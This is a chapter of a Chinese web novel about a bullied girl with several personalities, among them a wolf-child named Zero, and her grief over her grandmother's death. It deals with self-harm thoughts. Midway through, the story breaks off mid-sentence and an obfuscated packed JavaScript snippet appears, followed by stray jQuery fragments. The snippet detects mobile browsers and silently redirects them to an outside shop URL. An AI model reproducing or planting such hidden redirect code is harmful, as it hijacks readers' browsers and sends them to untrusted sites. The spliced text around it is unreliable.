“多大的人了和我们一起上一年级，不知羞，略略略。”
“你个倒大霉的家伙，不要挨着我们！”
“你哥陈芥都说了，你就是个害人精，还偷人东西。说！我昨天丢的那支水笔是不是你拿的，赔给我。”
“和你外婆一样，一个臭老人，一个臭小孩。”
……
这是我在学校的第一天，学校是小镇的学校，也是我进入的第一所学校。和我的童年一样没有道理可言，我只是出现就成了错误本身，我只是站在那里就必须要承接所有的恶意奔来。
无论老师提前打了多少口头上的预防针，她一走开，孩子心中的明灯一关，全世界的黑暗便一窝蜂地压下，我的世界立刻被嫌恶和恐惧填满，密不透风。
窒息的感觉一出来，零就会迫不及待地接管我的身体。
外婆不在，陌生的环境和赤裸裸的恶意砸进眼里，他又红了眼，冲着靠得最近的人龇牙。
它还没学会像大狼那样低吼，但已经凶得不像一只幼崽该有的模样。
同学被短暂吓退，可他的习惯里只是退走是不够的，上课时那些人又聚拢到一处，他发了疯似地嚎叫起，连同老师都觉得他是一个怪物。
零的频繁出现造成了很严重的问题，学校想要劝退我。
永远骄傲的小老太进了校长办公室，对人低三下四起。那以后，我骂了陈纾不止一顿，零也安静地没再出现过。世界线又恢复平和，一切节奏渐渐慢了下来，我和外婆守着小房子和爸爸旧旧的店铺生活。
那个便利店改成了洗衣铺，直到又一次失去它的主人，彻底关停。
也是那天，我见到了零。
耳鸣来来回回勾着我脑子里的神经打转，比牙疼时一整夜的翻来覆去时还要难忍，好像有什么东西在颅骨里织网，世界忽然变成一场哑剧，漆黑的舞台上缩着一个茧。
以舞台为清晰的分界线，一场潮湿的雨落进舞台中央，一点点淋透茧子里那团模糊的影。侵蚀的痛在我身体的边边角角蔓延开，白色的茧子随着月光的出现生出一个豁口，零以狼孩模样钻出。
他蹲在月光的豁口处，脊椎弯成一道圆满的弧，灰绒尾巴耷拉在涟漪圈圈的黑潭里。
零是一个狼崽子，也是人类，却一点也不像人类。他的头毛五颜六色的，看着是调色剂丢进锅里随意渲出来的。他从我脑子的角落走出来，安静地蹲坐在那个黑漆漆的空房间里，他给我的脑子关了灯，或者说只要他一出现，脑子里就只有他。他极度排外，如果不是外婆，他不会愿意让我看见。
我知道我自己有病，但零是一个我从没见过的人格，我甚至一度怀疑是不是因为外婆去世我太难过而幻分出的他，可身体的预警程度告诉我，他不是第一次出现。
陈纾告诉过我，第一次诞生的人格与我不会意识共存。
“你是谁？”
我问的时候，心里慌乱得奔跑起来，跳跃成鼓点。我不想成为别人口中的怪物，他不是人，至少那时的我这样认为。
零很笨拙，他的一切行为都出自本能，他不会说话。他啊啊呜呜。我听不懂。
“你是谁？”我又问一遍。
零的表情藏在碎碎的毛毛里，他尝试张嘴，眉毛却挤到一块。我想他或许是想告诉我什么。左右我都是孤家寡人一个，除了陈纾和小女孩，没有人愿意和我说话。脑子被弄得一团糟，我在他身旁蹲了下来，给他取了名字，问他新的问题。
“零，你有外婆吗？”
“啊，啊，啊，呜呜。”
“我听不懂。”
“呜呜，嗷，啊呜……”
算了，我放弃和一个只会嗷嗷呜呜的小狼进行语言沟通。我沉默下来，继续听他啊啊过来呜呜过去，直到我和他都变得沉默。
零还是那样什么也听不懂，什么也不会说，他将它的大尾巴甩进我怀里：“嗷呜～”
我抱着那根湿哒哒的毛绒尾埋头哭。
其实我知道的，零就是我，和小女孩和陈纾一样。只不过他是他，我是我。
“零，我想外婆，可是我害死的外婆，我不敢想。”
心里闷闷的，难受。我又想看星星。
痛。
零咬上了我，呜咽的声变成哀沉的狼嚎。他暴躁起来，他想撕碎我。因为我说是我害死的外婆，他憎恨我。他喜欢外婆，我害死了她，没了主人的小狼不愿意原谅我。
随便吧，身体痛，心里就没那么痛了，我仍抱着他给我的尾巴湿哒哒地陷进漆黑的寒潭里。如果他能咬死我的话，那最好了。
——陈娩！
——陈小娩。
在我快要睡过去的时候，我听到“哐哐”的砸墙声，比洗衣店隔壁装修时还要吵。小狼松了他的利爪，防备的姿态猫着腰，眼睛冒着绿光地盯向外。寒潭水色荡来荡去，黑一会儿白一会儿，随着显形的墙漾起波澜，小圈转成大圈，一圈套一圈。
而圈的中心里一滴一滴的酒红往下落，转出特别的颜色。
我低头看了看虎口掌清晰见骨的驳乱痕迹，我想小狼是外婆留给我的遗物，因为我有和外婆一样再也褪不掉的伤疤。
“原来是你吗，小狼。是你咬伤的外婆，是你让外婆几次欲言又止，是你让家里变穷，让骄傲的小老太低声下气求人。原来都是你啊……”
我想恨小狼，像他怪罪我那样怪罪他。
可我舍不得。
他是外婆的遗物。
我们共存后，我或许会从他那里知道更多不知道的属于外婆的风景。我想要抓住和外婆有关的一切，哪怕是不停惹祸的我给她留下的那部分。
“嗷呜～”小狼叫，和我提到没有外婆时一样叫。嗷呜是他的难过。
“咚——”
朝南的那一堵墙轰然倒塌，领着大铁锤的小女孩和开着巨型挖掘机的陈纾在尘土飞扬中露脸。
——啧，不许回忆这个。
陈纾一向说话火药味重，今天是外婆的祭日，她难得说了句还像好人点的话。虽然常常臭着个脸，但她没有难过的情绪，她是我想象中乐观向上的那一面，习惯了我烦我就创死你。
她不懂我为什么掉眼泪。只觉得我没用。
——啊啊呜呜！
小狼不喜欢有人在这一天打扰我，他咬陈纾。
愤怒的小狼抵不过力大无穷的钢铁少女，陈纾一脚给他踹了起码有八米远，她最烦每天不说人话的怪家伙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17786182|209772||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
我也烦，他们见面就在我的脑子里吵。动不动打架，不知道的还以为家里是纸糊的。只有小女孩贴心，给破洞的墙贴了一个创可贴，虽然看着像从垃圾桶里翻出来的，但好歹是顾及这个家的形象，对我的脑子有点关心。
小狼从地上爬起来，又把脑子弄得一片漆黑。陈纾有假装看书的习惯，看他格外不顺眼，从小女孩凑到的破烂工具箱里刨出一根尼龙绳给他捆了个结实：“下次再嗷嗷呜呜，啊啊喔喔的，我把你尾巴拿去炭烤！”
“……”小狼想说话，“……”
——还有你，陈小娩！不许帮他说话！
我脑子里刚有点想法，陈纾就扼杀了这种冲动的出现。其实她讨厌小狼还有一个原因，我给小狼取的名字好听，她一直记着陈大勇这个特殊的曾用名。
但她不知道的是，我给他们取名都是一样的用心。勇，小勇不够，大勇才能支撑我向上再向上，她根本不知道我对她寄予的厚望有多高。零，月亮接近满月的时候像圆，白色的虫茧偏椭，小狼什么都不懂，我希望他从零开始，日渐圆满。
明明都是很好的名字，她总不理解。
所以零和她同时出现的时候，我都习惯在脑子里暂时剔除零的名字使用权，以小狼称呼。免得她连我也踹，虽然这个几率很小。
——不小。
——哦。
完全没有争辩的必要。
天又亮了。
心里不舒服的时候我总喜欢睡大觉，今天也是。陈纾不喜欢看我伤春悲秋的样，临走前瞪我，又踢了小狼一脚：“下次再关我的灯，我给你那泡澡的寒潭水填了。”
她试图填满一个空洞的世界，她不知道那是小狼的眼泪。
陈纾走后，小女孩从地上捡起那些被随手乱扔的童话故事，放回书架整理好，继续蹲在角落里。
不一样的是，她喜欢贴着小狼。她喜欢小狼的毛茸茸，很暖和，一直活在冬天里的她最大的梦想就是给脑子里的家添个厚毛毯。
小狼的出现解决了这个困扰她的麻烦。
她帮零解开身上的绳子，还好心提醒：“下次不要在纾姐姐看书的时候关灯，她不喜欢在看书的时候被打扰。”
瘦弱、破碎的小女孩是不具备威胁性的，零认可她。
——啊，啊呜呜，嗷。
「你真棒！」很神奇，小女孩见了零两次就能听得懂他说话。她提起裙摆跑到冬天，从冬天的雪地里扣出一块小黑板。
——啊啊。
小女孩在小黑板上画字，求生的日子里，她习惯了收集、捣鼓一些可能用得上的东西。她在小黑板上帮零做翻译。
“二宝，你也想外婆吗？”
零的认知里，我和他都是外婆的宠物，他是大宝，外婆离世后，他勉强认下我，但排名永远要在他之后。他用大尾巴环着小女孩，小女孩不写字的时间里就用手帮他拧湿哒哒的绒毛，被允许后甚至还搬来烘烤的小太阳。
冬天和毛茸茸就那么和谐地待在一块儿。
“怎么不说话。二宝，你不想哭吗？”零龇牙。他的脑袋垂到小女孩怀里，小女孩举高了手写字。
——嗯，想。
我想外婆。